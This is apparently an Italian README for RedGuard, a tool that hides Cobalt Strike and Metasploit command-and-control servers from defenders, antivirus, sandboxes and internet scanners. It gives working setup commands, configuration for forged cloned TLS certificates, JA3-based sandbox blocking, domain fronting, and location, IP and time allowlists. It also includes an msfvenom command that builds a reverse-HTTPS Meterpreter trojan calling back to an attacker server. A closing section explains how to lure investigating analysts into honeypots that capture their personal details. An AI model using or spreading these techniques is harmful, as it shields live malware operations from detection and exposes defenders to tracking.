wikiz/redguardStrumento di controllo del flusso frontale C2 con randomizzazione delle impronte JA3/JARM, domain fronting, convalida del profilo C2 malleabile e whitelist IP per eludere i blue team, gli AV, gli EDR e la mappatura del cyberspazio.
Inglese | 中文文档
RedGuard, uno strumento derivato basato sulla tecnologia di controllo del flusso frontale di comando e controllo (C2), ha un design più leggero, un'interazione del traffico efficiente e una compatibilità affidabile sviluppato nel linguaggio di programmazione Go. Poiché gli attacchi informatici sono in continua evoluzione, gli esercizi di squadra rossa e blu diventano progressivamente più complessi, RedGuard è progettato per fornire una migliore soluzione di occultamento del canale C2 per la squadra rossa, che fornisce il controllo del flusso per il canale C2, blocca il traffico di analisi "malevolo" e completa meglio l'intero compito di attacco.
RedGuard è uno strumento di controllo del flusso frontale C2 in grado di evitare le rilevazioni di Blue Team, AVS, EDR e motori di ricerca del cyberspazio.
Puoi scaricare e utilizzare direttamente la versione compilata, oppure puoi scaricare il pacchetto Go in remoto per compilazione ed esecuzione indipendenti.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 Descrizione della configurazione
## Inizializzazione
Come mostrato nella figura seguente, imposta i permessi di esecuzione e inizializza RedGuard. La prima esecuzione genererà un file di configurazione nella home directory dell'utente corrente per ottenere una configurazione flessibile delle funzioni. Nome del file di configurazione: **.RedGuard_CobaltStrike.ini**.
**Contenuto del file di configurazione:**
Le opzioni di configurazione di cert riguardano principalmente le informazioni di configurazione della comunicazione HTTPS crittografata con certificato SSL tra il campione e l'infrastruttura frontale C2. Il proxy è utilizzato principalmente per configurare le opzioni di controllo nel traffico di reverse proxy. L'uso specifico verrà spiegato in dettaglio più avanti.
La comunicazione HTTPS crittografata con certificato SSL verrà generata nella directory cert-rsa/ all'interno della directory in cui viene eseguito RedGuard. È possibile avviare e fermare le funzioni di base dello strumento modificando il file di configurazione **(il numero di serie del certificato viene generato in base al timestamp , non preoccuparti di essere associato a questa funzionalità)**.Se vuoi utilizzare il tuo certificato,Rinominali semplicemente in ca.crt e ca.key.```bash
openssl x509 -in ca.crt -noout -text
Le impronte digitali TLS JARM casuali vengono aggiornate ogni volta che RedGuard viene avviato per impedire che vengano utilizzate per autenticare l'infrastruttura C2.
Nel caso in cui si utilizzi un certificato proprio, modificare il parametro HasCert nel file di configurazione in true per prevenire problemi di comunicazione normale causati dall'incompatibilità della suite di crittografia CipherSuites con il certificato personalizzato causata dalla randomizzazione offuscata di JARM.```bash
HasCert = false
### Certificati TLS falsificati
Quando si utilizza un Domain fronting per nascondere il traffico C2, il nome di dominio accelerato non ha informazioni sul certificato HTTPS per impostazione predefinita. Questo è ovviamente problematico, quindi è necessario prestare attenzione alla configurazione del certificato durante la configurazione del nome di dominio. Questa è anche la base predefinita per determinare se il campione è traffico di front-end di dominio.
[^Tencent Cloud]: Configurazione del certificato della rete di distribuzione dei contenuti
Credo che tutti avranno alcune domande dopo aver letto questo, **Come si ottiene il certificato configurato? Se si utilizza la propria applicazione per il certificato, non soddisfa l'effetto di anonimato che ci aspettiamo.** Qui è possibile utilizzare il certificato clonato per la configurazione. Prendendo Tencent Cloud come esempio, è stato scoperto nel test che non verificava la validità del certificato personalizzato caricato. Possiamo utilizzare lo stesso certificato del sito effettivo del nome di dominio accelerato per falsificarlo. Sebbene il certificato falsificato non possa comunicare quando si sostituisce il certificato predefinito di CS in circostanze normali, non ne verificherà la validità quando viene distribuito sull'accelerazione full-site CDN del fornitore di servizi cloud e su RedGuard, e il traffico interattivo C2 può comunicare normalmente.
**Il seguente è l'indirizzo del progetto esistente su Github**```bash
https://github.com/virusdefender/copy-cert
Sebbene il certificato sul lato del traffico front-end del dominio di esempio sia stato risolto, dal punto di vista della mappatura di rete su larga scala, il nostro server C2 è ancora esposto verso l'esterno e potrebbe ancora essere rilevato e associato al vero server C2. In questo momento, è possibile utilizzare RedGuard per modificare il certificato predefinito di fronting del C2 per ottenere l'anonimato.
[^intelligence information]: Certificati TLS
Quanto sopra è l'effetto del certificato falsificato del server C2. Si può vedere che è credibile e non scaduto nell'intelligence della comunità Threatbook. Il modo principale per ottenere il certificato digitale è estrarlo e aggiornarlo in tempo reale durante l'analisi dei campioni nel sandbox cloud, ma ovviamente non viene verificato efficacemente. Il valore dello stato verifica solo la data di scadenza. La verifica della fiducia del certificato dovrebbe basarsi solo sulla possibilità di ottenere una comunicazione normale.
Va notato che l'intelligence di Threatbook non contrassegna gli indirizzi SNI e HOST delle richieste di esempio con l'intelligence del certificato. Questo in realtà serve a prevenire falsi positivi. Penso che sia corretto. Come base importante per assistere i ricercatori nell'analisi, l'intelligence sulle minacce è meglio che sia incompleta piuttosto che puntare nella direzione sbagliata, il che causerebbe una valutazione errata nell'analisi successiva. Se configurare i certificati per l'accelerazione di tutto il sito serve a falsificare i certificati per il traffico di comunicazione, allora configurare il certificato di pre-risposta di RedGuard C2 serve a falsificare le caratteristiche comportamentali del vero server C2 distribuito sulla rete pubblica per ottenere effetti anti-mappatura, il che è molto necessario.
Estrarre il numero di serie del certificato: 55e6acaed1f8a430f9a938c5 ed eseguire la codifica HEX per ottenere l'impronta del certificato TLS: 26585094245224241434632730821
Quantità di risultati di ricerca: 2291
Attraverso la mappatura del cyberspazio, sono stati scoperti 2.291 indirizzi IP indipendenti e la verifica ha confermato che avevano tutti certificati TLS appartenenti a Baidu. È difficile determinare se si tratta di comunicazione malevola basandosi solo sul traffico di comunicazione. Tuttavia, i certificati TLS per le strutture di traffico domain front-end + C2 front-end sono stati falsificati, interferendo con successo con la mappatura dello spazio e l'intelligence sulle minacce, causando un'associazione errata delle informazioni, rendendo le caratteristiche del traffico dell'attaccante più realistiche e raggiungendo lo scopo di falsificare il traffico di comunicazione normale.
Anche se non esiste un'elaborazione di inoltro nascosto prima della struttura di traffico front-end del C2, è comunque meglio cambiare il certificato per RedGuard. Per impostazione predefinita, qualsiasi libreria di impronte digitali formata dall'identificazione delle impronte dei componenti comuni attualmente utilizzati nella mappatura del cyberspazio utilizza il comportamento delle caratteristiche di configurazione predefinite dei componenti comuni per l'identificazione. Gruppi diversi possono mostrare caratteristiche uniche diverse durante questi processi di personalizzazione. Ovviamente, la formazione delle impronte richiede una certa comprensione del componente target, in modo da estrarre le caratteristiche predefinite del target e formare un'impronta associata. Qui, le caratteristiche comportamentali del certificato RG vengono utilizzate per la mappatura del cyberspazio, che è associata a un gran numero di nodi RG distribuiti sulla rete pubblica.
Non sorprende che l'autore sia stato in grado di estrarre l'impronta digitale, ma si consiglia comunque agli utenti di RedGuard di modificare le informazioni predefinite del certificato e di essere un hacker professionista:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**P.S. Puoi usare il comando parametro per modificare il file di configurazione. Certo, penso che possa essere più comodo modificarlo manualmente con vim.**
# 0x03 Utilizzo dello strumento
## Intercettazione di base
Se accedi direttamente alla porta del proxy inverso, la regola di intercettazione verrà attivata. Qui puoi vedere la directory root della richiesta del client tramite il log di output, ma poiché la richiesta non porta le credenziali richieste, cioè l'header HOST corretto, viene attivata la regola di intercettazione di base e il traffico viene reindirizzato a <https://360.net>
Qui è solo una dimostrazione dell'output; nell'uso reale può essere eseguito in background tramite `nohup ./RedGuard &`.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
Non è difficile vedere dall'immagine sopra che 360.net è proxyato sulla porta locale 8080, 360.com è proxyato sulla porta locale 4433, e anche il protocollo HTTP usato è diverso. Nell'uso reale, è necessario prestare attenzione al tipo di protocollo del listener. Coerente con le impostazioni qui, e impostare la corrispondente intestazione della richiesta HOST.
Come mostrato nella figura sopra, in caso di accesso non autorizzato, le informazioni di risposta che otteniamo sono anche le informazioni di ritorno del sito reindirizzato.
Nel caso di intercettazione base sopra, viene utilizzato il metodo di intercettazione predefinito, il traffico illecito viene intercettato tramite reindirizzamento. Modificando il file di configurazione, possiamo cambiare il metodo di intercettazione e l'URL del sito di reindirizzamento. In realtà, piuttosto che chiamarlo reindirizzamento, penso che potrebbe essere più appropriato descriverlo come hijacking, clonazione, poiché il codice di stato della risposta restituito è 200, e la risposta viene ottenuta da un altro sito web per imitare il più fedelmente possibile il sito clonato/dirottato.
I pacchetti non validi possono essere instradati erroneamente secondo tre strategie:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** nel file di configurazione punta all'indirizzo URL dirottato. RedGuard supporta il "cambio a caldo", il che significa che mentre lo strumento è in esecuzione in background tramite `nohup`, possiamo ancora modificare il file di configurazione. Il contenuto viene avviato e fermato in tempo reale.```bash
./RedGuard -u --drop true
Nota che quando si modifica il file di configurazione tramite la riga di comando, l'opzione -u non deve mancare, altrimenti il file di configurazione non può essere modificato correttamente. Se è necessario ripristinare le impostazioni predefinite del file di configurazione, basta inserire ./RedGuard -u.
Un altro metodo di intercettazione è DROP, che chiude direttamente la risposta di comunicazione HTTP e viene attivato impostando DROP = true. L'effetto specifico dell'intercettazione è il seguente:
Si può vedere che il controllo del flusso frontale del C2 chiude direttamente la risposta alle richieste illegali senza il codice di risposta HTTP. Nel rilevamento della mappatura del cyberspazio, il metodo DROP può nascondere l'apertura delle porte. L'effetto specifico può essere visto nel caso seguente. analisi.
Credo che molti utenti saranno interessati al dirottamento delle risposte. Il principio generale è che quando il client invia una richiesta al vero server C2, poiché non soddisfa le regole di ingresso, il server C2 ottiene il sito normale specificato e restituisce le sue informazioni di risposta. Pertanto, dal lato della richiesta effettiva, sembra interagire con il servizio IP, ma in realtà il server C2 intermedio viene utilizzato come server proxy per interagire con il sito normale, ed è difficile trovare anomalie. Se soddisfa la richiesta in entrata, la richiesta di traffico viene inoltrata alla porta di ascolto del vero servizio C2 per l'interazione, e la porta di ascolto reale è stata filtrata dal firewall cloud, consentendo solo l'accesso locale, e non può essere accessibile direttamente dall'esterno. Quindi dal punto di vista dell'apertura delle porte esterne, solo la porta HTTP/S è aperta, e in un certo senso, questa è effettivamente la porta online del C2.
[^Diagramma del flusso di traffico]: Processo di interazione del traffico del server C2
Nei dati di mappatura del cyberspazio, il codice di risposta della porta HTTP/S aperta dell'IP è 200, non un salto 307, il che è più autentico.
Il certificato HTTPS ha lo stesso effetto del certificato falso menzionato sopra, ed entrambi sono impronte di certificati reali.
Credo che molti red team utilizzeranno ampiamente metodi di occultamento come cloud function/domain fronting nel corso dei progetti di combattimento. Tuttavia, nell'attuale confronto offensivo e difensivo, i due metodi di occultamento sopra menzionati hanno un problema fatale: possono connettersi direttamente al servizio C2. Il risultato è senza dubbio che quando riusciamo a ottenere l'indirizzo della cloud function o l'IP/HOST interattivo del domain fronting, possiamo accedere direttamente al servizio di ascolto C2 e dimostrare che si tratta di un sistema di attacco.
Poiché il traffico può raggiungere direttamente il C2, vale la pena considerare se il dispositivo di sicurezza può eseguire una scansione CS sul traffico che non corrisponde a SNI e HOST per identificare se si tratta di traffico malevolo. Lo stesso vale per le cloud function o gli ambienti sandbox. Oltre al lato del campione, possono esserci anche più processi di analisi a livello di traffico.
Dopo il dirottamento della risposta, l'accesso diretto al servizio HTTP può interagire normalmente con il sito web, ma Cscan non può scansionare le informazioni del campione perché il traffico non può raggiungere il vero listener C2. L'interazione normale con il C2 è possibile solo quando vengono soddisfatte le caratteristiche di avvio del traffico. Tuttavia, c'è un problema. Lo script di scansione C2 deve rispettare le regole di ingresso, il che mette a dura prova le capacità di codifica degli analisti del blue team. Lo script di scansione attualmente pubblico è in formato Nmap.
JA3 fornisce un'impronta digitale più riconoscibile per le comunicazioni crittografate tra client e server. Utilizza le impronte TLS per identificare le negoziazioni TLS tra client e server malevoli, ottenendo così l'effetto di associare i client malevoli. Questa impronta è facile da generare su qualsiasi piattaforma utilizzando la crittografia MD5 ed è attualmente ampiamente utilizzata nelle threat intelligence. Ad esempio, può essere vista nei rapporti di analisi dei campioni di alcune sandbox per dimostrare la correlazione tra diversi campioni.
Se riusciamo a ottenere il JA3(S) del server C2 e del client malevolo, anche se il traffico è crittografato e l'indirizzo IP o il nome di dominio del server C2 è sconosciuto, possiamo comunque identificare la negoziazione TLS tra il client malevolo e il server attraverso l'impronta TLS. Credo che tutti possano pensarci dopo aver visto questo, ed è anche una misura per affrontare metodi di occultamento del traffico come domain fronting, reverse proxy e cloud function. Attraverso l'identificazione dell'esecuzione del campione nella sandbox e la negoziazione TLS della comunicazione C2, è possibile generare impronte JA3(S), che possono essere applicate alle threat intelligence per ottenere un tracciamento ausiliario.
Ho annunciato questa tecnologia nel 2022. Durante il test dell'ambiente sandbox micro-step, ho scoperto che sebbene il numero di IP di uscita che richiedevano interazione fosse piccolo, non era accurato identificare la sandbox tramite IP, e questa era una caratteristica facilmente modificabile, ma la sua impronta JA3 era unica nello stesso ambiente di sistema. Successivamente, ho ricevuto feedback che la sandbox aveva completato la randomizzazione delle impronte, ma recenti test hanno scoperto che non è stata completamente implementata. Spero ancora di affrontare il problema delle impronte sul lato del traffico.
Dal punto di vista della sandbox cloud, monitorando l'interazione del traffico tra il campione e il server C2, viene generata l'impronta JA3(S) per identificare il client malevolo e quindi creare un'associazione. Pensando al contrario, come struttura di controllo del traffico davanti al C2, possiamo anche eseguire tali operazioni per ottenere l'impronta JA3 della richiesta del client. Analizzando diversi ambienti sandbox, queste impronte JA3 vengono ottenute per formare una libreria di impronte, creando così una strategia di intercettazione di base.
Immaginate che nel processo di interazione di un Trojan a fasi, il loader prima recupera lo shellcode dall'indirizzo remoto. Quando il traffico identifica che la richiesta corrisponde alle caratteristiche della sandbox cloud nella libreria di impronte JA3, intercetterà le richieste successive. Se lo shellcode non può essere ottenuto, l'intero processo di caricamento non può essere completato, e la sandbox naturalmente non può analizzarlo completamente. Se l'ambiente è un Trojan senza fasi, l'analisi della sandbox non riuscirà nemmeno a caricare i risultati sul server C2. Credo che tutti si siano svegliati dal sonno e abbiano trovato molti record di sandbox a lungo termine appesi al C2. Certo, in uno stato ideale, possiamo identificare diversi ambienti sandbox, il che dipende principalmente dall'affidabilità della libreria di impronte.
Durante il test, ho scoperto che dopo aver aggiunto l'impronta JA3 della libreria di richieste GO di ZoomEye alla libreria di impronte e monitorato il traffico delle richieste RG, la maggior parte delle richieste ha attivato l'intercettazione di base della funzione della libreria di impronte JA3. Qui suppongo che il linguaggio sottostante del prodotto di mappatura faccia parte dell'attività di scansione implementata in GO. Attraverso un collegamento, la logica di scansione composta da diversi linguaggi sottostanti ha infine completato l'intera attività di scansione. Questo spiega anche perché la scansione di alcuni prodotti di mappatura ha attivato la funzione di intercettazione delle impronte JA3 della libreria di richieste GO. Il principio della regola di riconoscimento è lo stesso dell'impronta della sandbox cloud. Entrambi utilizzano l'unicità dell'ambiente del client richiedente e della libreria di richieste. A differenza del lato PC, l'ambiente di richiesta di questi prodotti non verrà praticamente modificato arbitrariamente, il che ci consente anche di ottenere la sua impronta lato traffico e intercettarla, quindi possiamo pensare se il dispositivo di sicurezza può utilizzare l'impronta JA3 del traffico di rilevamento attivo come base per l'intercettazione? Certo, quando il traffico aziendale è elevato, potrebbero esserci un certo numero di falsi positivi. Qui proponiamo solo requisiti di prodotto teoricamente fattibili.
P.S. Gli utenti possono anche caricare campioni nella sandbox per ottenere e verificare le loro impronte JA3 e aggiungerle alla libreria di impronte. Va notato che è inutile se la sandbox cambia solo l'impronta JA3 in una diversa da quella sopra. Ciò che deve essere realmente risolto è che ogni volta che la sandbox esegue un'analisi dinamica, non si tratta della stessa impronta, e i suoi cambiamenti devono soddisfare il requisito di non ripetersi il più possibile. Se il tasso di ripetizione è alto, verrà comunque utilizzata come impronta.
Attualmente supporta l'identificazione e l'intercettazione della sandbox cloud Threatbook come dimostrazione dell'effetto
La configurazione dei seguenti due parametri nel file di configurazione realizza l'effetto di cambiare la porta del proxy inverso. Si consiglia di utilizzare l'occultamento della porta predefinita purché non entri in conflitto con la porta corrente del server. Se deve essere modificata, prestare attenzione che i : del valore del parametro non manchino```bash
Port_HTTPS = :443
Port_HTTP = :80
## Log di RedGuard
Il comportamento di tracciamento del blue team viene analizzato tramite il log di intercettazione della richiesta target, che può essere utilizzato per tracciare eventi/problemi di connessione peer. Il file di log viene generato nella directory in cui è in esecuzione RedGuard, **nome file: RedGuard.log**.
## RedGuard: ottenere l'indirizzo IP reale
Questa sezione descrive come configurare RG per ottenere l'indirizzo IP reale di una richiesta. È sufficiente aggiungere la seguente configurazione al profilo del dispositivo C2; l'indirizzo IP reale del target viene ottenuto tramite l'header della richiesta X-Forwarded-For.```bash
http-config {
set trust_x_forwarded_for "true";
}
Il metodo di configurazione prende AllowLocation = Jinan, Beijing come esempio. Nota che RedGuard fornisce due API per l'attribuzione IP inversa, una per gli utenti nella Cina continentale e l'altra per gli utenti al di fuori della Cina continentale, e può assegnare dinamicamente quale API utilizzare in base al nome di dominio geografico di input. Se il target è la Cina, utilizzare i nomi cinesi per la regione impostata; altrimenti, utilizzare i toponimi inglesi. Si consiglia agli utenti nella Cina continentale di utilizzare nomi cinesi, in modo che la precisione dell'attribuzione e la velocità di risposta dell'API ottenuta tramite ricerca inversa siano le scelte migliori.
P.S. Utenti nella Cina continentale, non utilizzate AllowLocation = Jinan,beijing in questo modo! Non ha molto senso; il primo carattere del valore del parametro determina quale API utilizzare!```bash
AllowLocation = *
Prima di decidere di limitare la regione, puoi interrogare manualmente l'indirizzo IP con il seguente comando.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
Qui impostiamo per consentire solo alla regione dello Shandong di connettersi
Traffico legale:
Area di richiesta illegale:
Per quanto riguarda le connessioni con restrizioni geografiche, potrebbe essere più pratico nell'attuale esercizio offensivo e difensivo. In pratica, i target delle restrizioni degli esercizi offensivi e difensivi a livello provinciale e comunale sono in aree designate, e il traffico richiesto da altre aree può essere naturalmente ignorato. Questa funzione di RedGuard non solo può limitare una singola regione, ma anche limitare più regioni di connessione in base a province e città, e intercettare il traffico richiesto da altre regioni.
Oltre alla lista nera IP integrata dei fornitori di cybersecurity in RedGuard, possiamo anche limitare secondo il metodo della whitelist. In effetti, suggerisco anche che durante la penetrazione web, possiamo limitare gli indirizzi IP online secondo la whitelist per suddividere più modi di indirizzo IP.```bash
AllowIP = 127.0.0.1
Come mostrato nella figura sopra, limitiamo per consentire solo connessioni da 127.0.0.1, quindi il traffico di richiesta di altri IP verrà bloccato.
## Blocco basato sul periodo di tempo
Questa funzione è più interessante. Impostare i seguenti valori dei parametri nel file di configurazione significa che la struttura di controllo del traffico può connettersi solo dalle 8:00 alle 21:00. Lo scenario applicativo specifico qui è che durante il tempo di attacco specificato, permettiamo la comunicazione con il C2, e rimane silenziosa negli altri orari. Questo permette anche ai red team di dormire sonni tranquilli senza preoccuparsi che qualche blue team di turno notturno si annoi ad analizzare il tuo trojan e poi svegliarsi a qualcosa di indescrivibile, ahahah.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard utilizza il profilo C2 Malleabile. Parsa la sezione del file di configurazione estensibile fornito per comprendere il contratto e inoltrare solo le richieste in entrata che lo soddisfano, fuorviando le altre richieste. Parti come http-stager, http-get e http-post e i relativi uri, header, User-Agent ecc. vengono utilizzate per distinguere le richieste beacon lecite dal rumore irrilevante di Internet o dai pacchetti IR/AV/EDR out-of-bounds.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
Il profilo scritto da 风起 è consigliato per l'uso:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## Campi di risposta di eliminazione personalizzati
In Cobalt Strike 4.7+, Teamserver rimuove automaticamente l'intestazione Content-Encoding senza alcuna notifica, causando potenzialmente una violazione di malleable http-(get|post).server. Inoltre, se non c'è Content-Type nel messaggio di risposta del CS Server, ma dopo essere stato inoltrato da RedGuard, il Content-Type viene aggiunto all'intestazione del messaggio di risposta, causando la cache della pagina da parte di cf e provocando interferenze.
Dopo RedGuard 23.08.21, è stata aggiunta la funzione di personalizzare l'intestazione del pacchetto di risposta. Gli utenti possono personalizzare ed eliminare le informazioni di intestazione nel pacchetto di risposta modificando il file di configurazione per risolvere il problema del parsing errato.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
RedGuard 23.05.13 ha aggiornato la funzione di riconoscimento dell'impronta digitale del campione trojan, che si basa sulla personalizzazione del campo HTTP Header del Malleable Profile come "valore di sale del campione" per identificare in modo univoco lo stesso listener C2/Header Host. Inoltre, l'impronta digitale del campione trojan generata combinando altri campi di richiesta pertinenti può essere utilizzata per rilevare la vitalità del campione personalizzato. In base ai requisiti dell'attaccante, la funzione di riconoscimento dell'impronta digitale del campione trojan può eseguire un "operazione offline" sui campioni che si desidera disabilitare, per eludere meglio l'analisi del traffico malevolo della comunicazione del campione e l'analisi dell'acquisizione del payload dell'attacco PAYLOAD del campione in fasi, e fornire misure di stealth più personalizzate per l'attaccante.
Per diversi listener C2, possiamo dare alias diversi alle configurazioni Malleable Profile, personalizzare i nomi dei campi e i valori degli header correlati come valore di sale del campione e utilizzarlo come una delle distinzioni tra diversi campioni. Il codice seguente è a scopo illustrativo, e in scenari reali di attacco e difesa possiamo utilizzare campi di pacchetti di richiesta HTTP più realistici come base per il giudizio.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**Traffico HTTP**
Come mostrato nella figura, utilizziamo il valore Salt di esempio sopra e il campo Host come base per la generazione dell'impronta digitale. Qui sappiamo:
- **Valore Salt：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
Secondo la concatenazione dei valori sopra, l'impronta digitale di esempio viene ottenuta come segue:```bash
22e6db08c5ef1889d64103a290ac145c
Ora che conosciamo l'impronta campione sopra, possiamo impostare il campo Header personalizzato e l'impronta campione nel file di configurazione di RedGuard per l'intercettazione del traffico malevolo. È opportuno notare che possiamo estendere più impronte campione, separate da virgole, e il nome del campo (FieldName) deve essere coerente con il nome del campo Header configurato nel Malleable Profile.
Poiché il file di configurazione di RedGuard è una configurazione a caldo, non è necessario riavviare RedGuard per intercettare i campioni che si desidera disabilitare. Quando si desidera riattivare il campione, è sufficiente eliminare l'impronta campione corrispondente dal file di configurazione di RedGuard.
Effetto dimostrativo:
Se si presenta un problema con il metodo sopra descritto, il server C2 effettivamente online non può essere intercettato direttamente dal firewall, poiché la richiesta effettiva di bilanciamento del carico nel proxy inverso viene effettuata dall'IP del produttore del server cloud.
In un combattimento singolo, possiamo impostare una regola di intercettazione sul firewall del server cloud.
Quindi impostare l'indirizzo puntato dal proxy su https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
E poiché la nostra verifica di base si basa sull'intestazione della richiesta HTTP HOST, ciò che vediamo nel traffico HTTP è anche lo stesso del metodo di domain fronting, ma il costo è inferiore e serve solo un server cloud.
Per le impostazioni del listener, `HTTPS Port (C2)` è impostato sulla porta del proxy inverso di RedGuard, e `HTTPS Port (Bind)` è la porta di connessione effettiva della macchina locale.
## Metasploit
**Genera Trojan**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
Naturalmente, in uno scenario di domain fronting, puoi anche configurare il tuo LHOST per utilizzare qualsiasi nome di dominio del CDN del produttore, e presta attenzione ad impostare l'HttpHostHeader per corrispondere a RedGuard.```bash setg OverrideLHOST 360.com setg OverrideLPORT 443 setg OverrideRequestHost true
È importante notare che l'impostazione `OverrideRequestHost` deve essere impostata su `true`. Ciò è dovuto a una caratteristica nel modo in cui Metasploit gestisce le richieste HTTP/S in arrivo per impostazione predefinita quando genera la configurazione per i payload di staging. Per impostazione predefinita, Metasploit utilizza il valore dell'`Host` header della richiesta in arrivo (se presente) per la configurazione del secondo stadio invece del parametro `LHOST`. Pertanto, la fase di build è configurata per inviare richieste direttamente al tuo nome di dominio nascosto perché CloudFront passa il tuo dominio interno nell'`Host` header delle richieste inoltrate. Questo chiaramente non è ciò che stiamo chiedendo. Utilizzando il valore di configurazione `OverrideRequestHost`, possiamo forzare Metasploit a ignorare l'`Host` header in arrivo e utilizzare invece il valore di configurazione `LHOST` che punta al dominio di origine CloudFront.
Il listener è impostato sulla porta di linea effettiva che corrisponde all'indirizzo a cui RedGuard effettivamente inoltra.
RedGuard ha ricevuto la richiesta:
## Mappatura dello spazio informatico
Come mostrato nella figura sottostante, quando la nostra regola di intercettazione è impostata su DROP, il probe del sistema di mappatura spaziale sonderà la directory / della nostra porta proxy inversa diverse volte. In teoria, il pacchetto di richiesta inviato dalla mappatura è falsificato come traffico normale come mostrato. Ma dopo diversi tentativi, poiché la firma del pacchetto di richiesta non soddisfa i requisiti di rilascio di RedGuard, vengono tutti risposti con Close HTTP. L'effetto finale visualizzato sulla piattaforma di rilevamento è che la porta del proxy inverso non è aperta.
Il traffico mostrato nella figura sottostante significa che quando la regola di intercettazione è impostata su Redirect, scopriremo che quando il probe di mappatura riceve una risposta, continuerà a scansionare la nostra directory. User-Agent è casuale, il che sembra essere in linea con le normali richieste di traffico, ma entrambi sono stati bloccati con successo.
**Piattaforma di mappatura - Effetto della modalità di intercettazione con risposta di hijack:**
**Piattaforma di rilevamento - Effetto dell'intercettazione con reindirizzamento:**
## Domain fronting
RedGuard supporta il Domain fronting. A mio parere, ci sono due forme di presentazione. Una è utilizzare il metodo tradizionale di Domain fronting, che può essere ottenuto impostando la porta del nostro proxy inverso nell'indirizzo di back-to-origin dell'accelerazione a livello di sito. Sulla base originale, la funzione di controllo del traffico viene aggiunta al Domain fronting e può essere reindirizzata a un URL specifico in base all'impostazione che abbiamo configurato per renderlo più reale. Va notato che l'impostazione dell'HTTPS HOST header di RedGuard deve essere coerente con il nome di dominio dell'accelerazione a livello di sito.
In combattimento singolo, suggerisco di utilizzare il metodo sopra, e nei compiti di squadra, può essere ottenuto anche tramite "Domain fronting" autocostruito.
Nel Domain fronting autocostruito, mantieni coerenti più porte del proxy inverso e l'header HOST punta costantemente alla porta di ascolto del vero server C2 nel backend. In questo modo, il nostro vero server C2 può essere ben nascosto e il server del proxy inverso può solo aprire la porta proxy configurando il firewall.
Ciò può essere ottenuto attraverso più server nodo e configurando più IP dei nostri nodi nell'IP online HTTPS del listener CS.
## Trappola dannosa per honeypot
**Il principio della trappola dannosa per honeypot si basa principalmente sulla funzione di risposta di hijack o reindirizzamento di RG per la guida del traffico, che indirizza gli analisti che stanno valutando le strutture C2 verso l'indirizzo della sandbox honeypot. Nello stato di risposta di hijack, RG indirizzerà il traffico di richiesta che non soddisfa le regole di ingresso verso gli asset dell'honeypot.** Quando si incontrano alcuni honeypot più potenti (come quelli che catturano i numeri di telefono degli operatori), il client avvierà una richiesta in base alla risposta del sito di destinazione e verrà dirottato da jsonp per ottenere informazioni pertinenti.
Immagina che quando gli analisti accedono direttamente alla porta online C2, vengano indirizzati all'asset dell'honeypot, il che causerà senza dubbio disturbo agli analisti. Gli analisti vengono indirizzati in modo dannoso a richiedere l'asset dell'honeypot e l'estremità di monitoraggio dell'honeypot cattura le informazioni pertinenti degli analisti della squadra blu e traccia l'errore. Se l'obiettivo dell'analisi è sbagliato fin dall'inizio, come puoi ottenere un buon risultato? Ciò causerà senza dubbio un grave attrito interno per il team di difesa.
**Ecco un insieme di impronte digitali ZoomEye associate agli asset dell'honeypot:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
Il modo per ottenere questo effetto è molto semplice, basta cambiare i valori chiave rilevanti nel file di configurazione RG.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. Credo che tutti sappiano come configurarlo senza spiegazioni :)**
